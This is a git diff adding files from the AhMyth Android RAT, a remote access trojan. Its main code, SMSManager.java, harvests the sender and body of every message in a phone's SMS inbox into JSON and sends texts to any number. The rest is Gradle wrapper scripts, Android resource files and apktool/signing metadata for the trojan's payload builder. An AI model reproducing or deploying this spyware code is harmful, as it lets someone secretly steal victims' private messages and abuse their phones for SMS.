+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/SMSManager.java
@@ -0,0 +1,61 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.database.Cursor;
+import android.net.Uri;
+import android.telephony.SmsManager;
+import android.util.Log;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+/**
+ * Created by AhMyth on 11/10/16.
+ */
+
+public class SMSManager {
+
+ public static JSONObject getSMSList(){
+
+ try {
+ JSONObject SMSList = new JSONObject();
+ JSONArray list = new JSONArray();
+
+
+ Uri uriSMSURI = Uri.parse("content://sms/inbox");
+ Cursor cur = MainService.getContextOfApplication().getContentResolver().query(uriSMSURI, null, null, null, null);
+
+ while (cur.moveToNext()) {
+ JSONObject sms = new JSONObject();
+ String address = cur.getString(cur.getColumnIndex("address"));
+ String body = cur.getString(cur.getColumnIndexOrThrow("body"));
+ sms.put("phoneNo" , address);
+ sms.put("msg" , body);
+ list.put(sms);
+
+ }
+ SMSList.put("smsList", list);
+ Log.e("done" ,"collecting");
+ return SMSList;
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ return null;
+
+ }
+
+ public static boolean sendSMS(String phoneNo, String msg) {
+ try {
+ SmsManager smsManager = SmsManager.getDefault();
+ smsManager.sendTextMessage(phoneNo, null, msg, null, null);
+ return true;
+ } catch (Exception ex) {
+ ex.printStackTrace();
+ return false;
+ }
+
+ }
+
+
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/layout/activity_main.xml b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/layout/activity_main.xml
new file mode 100644
index 00000000..91d9cdd8
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/layout/activity_main.xml
@@ -0,0 +1,29 @@
+
+
+
+
+
+
+
+
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-hdpi/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-hdpi/ic_launcher.png
new file mode 100644
index 00000000..cde69bcc
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-hdpi/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-mdpi/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-mdpi/ic_launcher.png
new file mode 100644
index 00000000..c133a0cb
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-mdpi/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-xhdpi/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-xhdpi/ic_launcher.png
new file mode 100644
index 00000000..bfa42f0e
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-xhdpi/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
new file mode 100644
index 00000000..324e72cd
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
new file mode 100644
index 00000000..aee44e13
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values-w820dp/dimens.xml b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values-w820dp/dimens.xml
new file mode 100644
index 00000000..63fc8164
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values-w820dp/dimens.xml
@@ -0,0 +1,6 @@
+
+
+ 64dp
+
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/colors.xml b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/colors.xml
new file mode 100644
index 00000000..3ab3e9cb
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/colors.xml
@@ -0,0 +1,6 @@
+
+
+ #3F51B5
+ #303F9F
+ #FF4081
+
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/dimens.xml b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/dimens.xml
new file mode 100644
index 00000000..47c82246
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/dimens.xml
@@ -0,0 +1,5 @@
+
+
+ 16dp
+ 16dp
+
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/strings.xml b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/strings.xml
new file mode 100644
index 00000000..d40e9cbe
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/strings.xml
@@ -0,0 +1,3 @@
+
+ AhMyth
+
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/styles.xml b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/styles.xml
new file mode 100644
index 00000000..ff6c9d2c
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/res/values/styles.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/test/java/ahmyth/mine/king/ahmyth/ExampleUnitTest.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/test/java/ahmyth/mine/king/ahmyth/ExampleUnitTest.java
new file mode 100644
index 00000000..3bc3cac8
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/test/java/ahmyth/mine/king/ahmyth/ExampleUnitTest.java
@@ -0,0 +1,17 @@
+package ahmyth.mine.king.ahmyth;
+
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() throws Exception {
+ assertEquals(4, 2 + 2);
+ }
+}
\ No newline at end of file
diff --git a/AhMyth-Android-RAT/AhMyth-Client/build.gradle b/AhMyth-Android-RAT/AhMyth-Client/build.gradle
new file mode 100644
index 00000000..c2eea8e2
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/build.gradle
@@ -0,0 +1,23 @@
+// Top-level build file where you can add configuration options common to all sub-projects/modules.
+
+buildscript {
+ repositories {
+ jcenter()
+ }
+ dependencies {
+ classpath 'com.android.tools.build:gradle:2.3.3'
+
+ // NOTE: Do not place your application dependencies here; they belong
+ // in the individual module build.gradle files
+ }
+}
+
+allprojects {
+ repositories {
+ jcenter()
+ }
+}
+
+task clean(type: Delete) {
+ delete rootProject.buildDir
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/gradle.properties b/AhMyth-Android-RAT/AhMyth-Client/gradle.properties
new file mode 100644
index 00000000..aac7c9b4
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/gradle.properties
@@ -0,0 +1,17 @@
+# Project-wide Gradle settings.
+
+# IDE (e.g. Android Studio) users:
+# Gradle settings configured through the IDE *will override*
+# any settings specified in this file.
+
+# For more details on how to configure your build environment visit
+# http://www.gradle.org/docs/current/userguide/build_environment.html
+
+# Specifies the JVM arguments used for the daemon process.
+# The setting is particularly useful for tweaking memory settings.
+org.gradle.jvmargs=-Xmx1536m
+
+# When configured, Gradle will run in incubating parallel mode.
+# This option should only be used with decoupled projects. More details, visit
+# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
+# org.gradle.parallel=true
diff --git a/AhMyth-Android-RAT/AhMyth-Client/gradle/wrapper/gradle-wrapper.jar b/AhMyth-Android-RAT/AhMyth-Client/gradle/wrapper/gradle-wrapper.jar
new file mode 100644
index 00000000..13372aef
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Client/gradle/wrapper/gradle-wrapper.jar differ
diff --git a/AhMyth-Android-RAT/AhMyth-Client/gradle/wrapper/gradle-wrapper.properties b/AhMyth-Android-RAT/AhMyth-Client/gradle/wrapper/gradle-wrapper.properties
new file mode 100644
index 00000000..951d5ad5
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/gradle/wrapper/gradle-wrapper.properties
@@ -0,0 +1,6 @@
+#Sun Sep 03 11:43:25 GST 2017
+distributionBase=GRADLE_USER_HOME
+distributionPath=wrapper/dists
+zipStoreBase=GRADLE_USER_HOME
+zipStorePath=wrapper/dists
+distributionUrl=https\://services.gradle.org/distributions/gradle-3.3-all.zip
diff --git a/AhMyth-Android-RAT/AhMyth-Client/gradlew b/AhMyth-Android-RAT/AhMyth-Client/gradlew
new file mode 100644
index 00000000..9d82f789
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/gradlew
@@ -0,0 +1,160 @@
+#!/usr/bin/env bash
+
+##############################################################################
+##
+## Gradle start up script for UN*X
+##
+##############################################################################
+
+# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+DEFAULT_JVM_OPTS=""
+
+APP_NAME="Gradle"
+APP_BASE_NAME=`basename "$0"`
+
+# Use the maximum available, or set MAX_FD != -1 to use that value.
+MAX_FD="maximum"
+
+warn ( ) {
+ echo "$*"
+}
+
+die ( ) {
+ echo
+ echo "$*"
+ echo
+ exit 1
+}
+
+# OS specific support (must be 'true' or 'false').
+cygwin=false
+msys=false
+darwin=false
+case "`uname`" in
+ CYGWIN* )
+ cygwin=true
+ ;;
+ Darwin* )
+ darwin=true
+ ;;
+ MINGW* )
+ msys=true
+ ;;
+esac
+
+# Attempt to set APP_HOME
+# Resolve links: $0 may be a link
+PRG="$0"
+# Need this for relative symlinks.
+while [ -h "$PRG" ] ; do
+ ls=`ls -ld "$PRG"`
+ link=`expr "$ls" : '.*-> \(.*\)$'`
+ if expr "$link" : '/.*' > /dev/null; then
+ PRG="$link"
+ else
+ PRG=`dirname "$PRG"`"/$link"
+ fi
+done
+SAVED="`pwd`"
+cd "`dirname \"$PRG\"`/" >/dev/null
+APP_HOME="`pwd -P`"
+cd "$SAVED" >/dev/null
+
+CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
+
+# Determine the Java command to use to start the JVM.
+if [ -n "$JAVA_HOME" ] ; then
+ if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+ # IBM's JDK on AIX uses strange locations for the executables
+ JAVACMD="$JAVA_HOME/jre/sh/java"
+ else
+ JAVACMD="$JAVA_HOME/bin/java"
+ fi
+ if [ ! -x "$JAVACMD" ] ; then
+ die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+ fi
+else
+ JAVACMD="java"
+ which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+fi
+
+# Increase the maximum file descriptors if we can.
+if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
+ MAX_FD_LIMIT=`ulimit -H -n`
+ if [ $? -eq 0 ] ; then
+ if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
+ MAX_FD="$MAX_FD_LIMIT"
+ fi
+ ulimit -n $MAX_FD
+ if [ $? -ne 0 ] ; then
+ warn "Could not set maximum file descriptor limit: $MAX_FD"
+ fi
+ else
+ warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
+ fi
+fi
+
+# For Darwin, add options to specify how the application appears in the dock
+if $darwin; then
+ GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
+fi
+
+# For Cygwin, switch paths to Windows format before running java
+if $cygwin ; then
+ APP_HOME=`cygpath --path --mixed "$APP_HOME"`
+ CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
+ JAVACMD=`cygpath --unix "$JAVACMD"`
+
+ # We build the pattern for arguments to be converted via cygpath
+ ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
+ SEP=""
+ for dir in $ROOTDIRSRAW ; do
+ ROOTDIRS="$ROOTDIRS$SEP$dir"
+ SEP="|"
+ done
+ OURCYGPATTERN="(^($ROOTDIRS))"
+ # Add a user-defined pattern to the cygpath arguments
+ if [ "$GRADLE_CYGPATTERN" != "" ] ; then
+ OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
+ fi
+ # Now convert the arguments - kludge to limit ourselves to /bin/sh
+ i=0
+ for arg in "$@" ; do
+ CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
+ CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
+
+ if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
+ eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
+ else
+ eval `echo args$i`="\"$arg\""
+ fi
+ i=$((i+1))
+ done
+ case $i in
+ (0) set -- ;;
+ (1) set -- "$args0" ;;
+ (2) set -- "$args0" "$args1" ;;
+ (3) set -- "$args0" "$args1" "$args2" ;;
+ (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
+ (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
+ (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
+ (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
+ (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
+ (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
+ esac
+fi
+
+# Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
+function splitJvmOpts() {
+ JVM_OPTS=("$@")
+}
+eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
+JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
+
+exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
diff --git a/AhMyth-Android-RAT/AhMyth-Client/gradlew.bat b/AhMyth-Android-RAT/AhMyth-Client/gradlew.bat
new file mode 100644
index 00000000..aec99730
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/gradlew.bat
@@ -0,0 +1,90 @@
+@if "%DEBUG%" == "" @echo off
+@rem ##########################################################################
+@rem
+@rem Gradle startup script for Windows
+@rem
+@rem ##########################################################################
+
+@rem Set local scope for the variables with windows NT shell
+if "%OS%"=="Windows_NT" setlocal
+
+@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+set DEFAULT_JVM_OPTS=
+
+set DIRNAME=%~dp0
+if "%DIRNAME%" == "" set DIRNAME=.
+set APP_BASE_NAME=%~n0
+set APP_HOME=%DIRNAME%
+
+@rem Find java.exe
+if defined JAVA_HOME goto findJavaFromJavaHome
+
+set JAVA_EXE=java.exe
+%JAVA_EXE% -version >NUL 2>&1
+if "%ERRORLEVEL%" == "0" goto init
+
+echo.
+echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:findJavaFromJavaHome
+set JAVA_HOME=%JAVA_HOME:"=%
+set JAVA_EXE=%JAVA_HOME%/bin/java.exe
+
+if exist "%JAVA_EXE%" goto init
+
+echo.
+echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:init
+@rem Get command-line arguments, handling Windowz variants
+
+if not "%OS%" == "Windows_NT" goto win9xME_args
+if "%@eval[2+2]" == "4" goto 4NT_args
+
+:win9xME_args
+@rem Slurp the command line arguments.
+set CMD_LINE_ARGS=
+set _SKIP=2
+
+:win9xME_args_slurp
+if "x%~1" == "x" goto execute
+
+set CMD_LINE_ARGS=%*
+goto execute
+
+:4NT_args
+@rem Get arguments from the 4NT Shell from JP Software
+set CMD_LINE_ARGS=%$
+
+:execute
+@rem Setup the command line
+
+set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
+
+@rem Execute Gradle
+"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
+
+:end
+@rem End local scope for the variables with windows NT shell
+if "%ERRORLEVEL%"=="0" goto mainEnd
+
+:fail
+rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
+rem the _cmd.exe /c_ return code!
+if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
+exit /b 1
+
+:mainEnd
+if "%OS%"=="Windows_NT" endlocal
+
+:omega
diff --git a/AhMyth-Android-RAT/AhMyth-Client/local.properties b/AhMyth-Android-RAT/AhMyth-Client/local.properties
new file mode 100644
index 00000000..2eaf0838
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/local.properties
@@ -0,0 +1,11 @@
+## This file is automatically generated by Android Studio.
+# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
+#
+# This file must *NOT* be checked into Version Control Systems,
+# as it contains information specific to your local configuration.
+#
+# Location of the SDK. This is only used by Gradle.
+# For customization when using a Version Control System, please read the
+# header note.
+#Sun Sep 03 11:42:50 GST 2017
+sdk.dir=/home/ahmyth/Android/Sdk
diff --git a/AhMyth-Android-RAT/AhMyth-Client/settings.gradle b/AhMyth-Android-RAT/AhMyth-Client/settings.gradle
new file mode 100644
index 00000000..e7b4def4
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/settings.gradle
@@ -0,0 +1 @@
+include ':app'
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/AndroidManifest.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/AndroidManifest.xml
new file mode 100644
index 00000000..d065b88f
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/AndroidManifest.xml
@@ -0,0 +1,34 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml
new file mode 100644
index 00000000..7d61b182
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml
@@ -0,0 +1,22 @@
+!!brut.androlib.meta.MetaInfo
+apkFileName: app.apk
+compressionType: false
+doNotCompress:
+- arsc
+isFrameworkApk: false
+packageInfo:
+ forcedPackageId: '127'
+ renameManifestPackage: null
+sdkInfo:
+ minSdkVersion: '10'
+ targetSdkVersion: '18'
+sharedLibrary: false
+unknownFiles: {}
+usesFramework:
+ ids:
+ - 1
+ tag: null
+version: 2.2.1
+versionInfo:
+ versionCode: '1'
+ versionName: '1.0'
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/AndroidManifest.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/AndroidManifest.xml
new file mode 100644
index 00000000..1ae9a5a1
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/AndroidManifest.xml differ
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/META-INF/CERT.RSA b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/META-INF/CERT.RSA
new file mode 100644
index 00000000..bfb31262
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/META-INF/CERT.RSA differ
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/META-INF/CERT.SF b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/META-INF/CERT.SF
new file mode 100644
index 00000000..d6185b70
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/META-INF/CERT.SF
@@ -0,0 +1,32 @@
+Signature-Version: 1.0
+X-Android-APK-Signed: 2
+SHA1-Digest-Manifest: +jAjQfCl6rwdWauwn46TeERe8Zo=
+Created-By: 1.0 (Android)
+
+Name: res/mipmap-mdpi-v4/ic_launcher.png
+SHA1-Digest: KhYs3OgngrsQpHbyXG/jm5H+8wU=
+
+Name: AndroidManifest.xml
+SHA1-Digest: K/3ab9bP0mZnRJy1CsPEgDz46ns=
+
+Name: res/layout/activity_main.xml
+SHA1-Digest: m6igKT3+ME03AdFwmQ8JzZXSxhk=
+
+Name: res/mipmap-xhdpi-v4/ic_launcher.png
+SHA1-Digest: A92PbPheHa+C5hP2bAXLmZFjEYY=
+
+Name: resources.arsc
+SHA1-Digest: 0PP9a85sPEMkh64UWry0uPL2NGg=
+
+Name: classes.dex
+SHA1-Digest: +b5z44wqsWI8sar/wgwesA65c7I=
+
+Name: res/mipmap-xxhdpi-v4/ic_launcher.png
+SHA1-Digest: TtBU8d63+I+lSLj+Tm5DZvZ5i2c=
+
+Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
+SHA1-Digest: Z+/XJPt1sAKFXReYL68NU6geHLc=
+
+Name: res/mipmap-hdpi-v4/ic_launcher.png
+SHA1-Digest: dgOODFlTpfHDDTUL6xuLQSdAG7w=
+
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/META-INF/MANIFEST.MF b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/META-INF/MANIFEST.MF
new file mode 100644
index 00000000..b4e46cc3
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/original/META-INF/MANIFEST.MF
@@ -0,0 +1,31 @@
+Manifest-Version: 1.0
+Built-By: Generated-by-ADT
+Created-By: Android Gradle 2.2.0
+
+Name: res/mipmap-mdpi-v4/ic_launcher.png
+SHA1-Digest: KhYs3OgngrsQpHbyXG/jm5H+8wU=
+
+Name: AndroidManifest.xml
+SHA1-Digest: K/3ab9bP0mZnRJy1CsPEgDz46ns=
+
+Name: res/layout/activity_main.xml
+SHA1-Digest: m6igKT3+ME03AdFwmQ8JzZXSxhk=
+
+Name: res/mipmap-xhdpi-v4/ic_launcher.png
+SHA1-Digest: A92PbPheHa+C5hP2bAXLmZFjEYY=
+
+Name: resources.arsc
+SHA1-Digest: 0PP9a85sPEMkh64UWry0uPL2NGg=
+
+Name: classes.dex
+SHA1-Digest: +b5z44wqsWI8sar/wgwesA65c7I=
+
+Name: res/mipmap-xxhdpi-v4/ic_launcher.png
+SHA1-Digest: TtBU8d63+I+lSLj+Tm5DZvZ5i2c=
+
+Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
+SHA1-Digest: Z+/XJPt1sAKFXReYL68NU6geHLc=
+
+Name: res/mipmap-hdpi-v4/ic_launcher.png
+SHA1-Digest: dgOODFlTpfHDDTUL6xuLQSdAG7w=
+
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/layout/activity_main.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/layout/activity_main.xml
new file mode 100644
index 00000000..8294694e
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/layout/activity_main.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-hdpi-v4/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-hdpi-v4/ic_launcher.png
new file mode 100644
index 00000000..1dbefa9a
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-hdpi-v4/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-mdpi-v4/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-mdpi-v4/ic_launcher.png
new file mode 100644
index 00000000..c8e29864
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-mdpi-v4/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-xhdpi-v4/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-xhdpi-v4/ic_launcher.png
new file mode 100644
index 00000000..c0cad09c
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-xhdpi-v4/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-xxhdpi-v4/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-xxhdpi-v4/ic_launcher.png
new file mode 100644
index 00000000..82b54070
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-xxhdpi-v4/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-xxxhdpi-v4/ic_launcher.png b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-xxxhdpi-v4/ic_launcher.png
new file mode 100644
index 00000000..e33de9c9
Binary files /dev/null and b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/mipmap-xxxhdpi-v4/ic_launcher.png differ
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values-w820dp-v13/dimens.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values-w820dp-v13/dimens.xml
new file mode 100644
index 00000000..c8b7a79d
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values-w820dp-v13/dimens.xml
@@ -0,0 +1,4 @@
+
+
+ 64.0dip
+
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/colors.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/colors.xml
new file mode 100644
index 00000000..61f4fe14
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/colors.xml
@@ -0,0 +1,6 @@
+
+
+ #ffff4081
+ #ff3f51b5
+ #ff303f9f
+
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/dimens.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/dimens.xml
new file mode 100644
index 00000000..50b17d9d
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/dimens.xml
@@ -0,0 +1,5 @@
+
+
+ 16.0dip
+ 16.0dip
+
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/ids.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/ids.xml
new file mode 100644
index 00000000..f2093ce2
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/ids.xml
@@ -0,0 +1,6 @@
+
+
+ - false
+ - false
+ - false
+
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/public.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/public.xml
new file mode 100644
index 00000000..26002b26
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/public.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/strings.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/strings.xml
new file mode 100644
index 00000000..0a1da465
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/strings.xml
@@ -0,0 +1,4 @@
+
+
+ AhMyth
+
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/styles.xml b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/styles.xml
new file mode 100644
index 00000000..f43b8bba
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/res/values/styles.xml
@@ -0,0 +1,4 @@
+
+
+
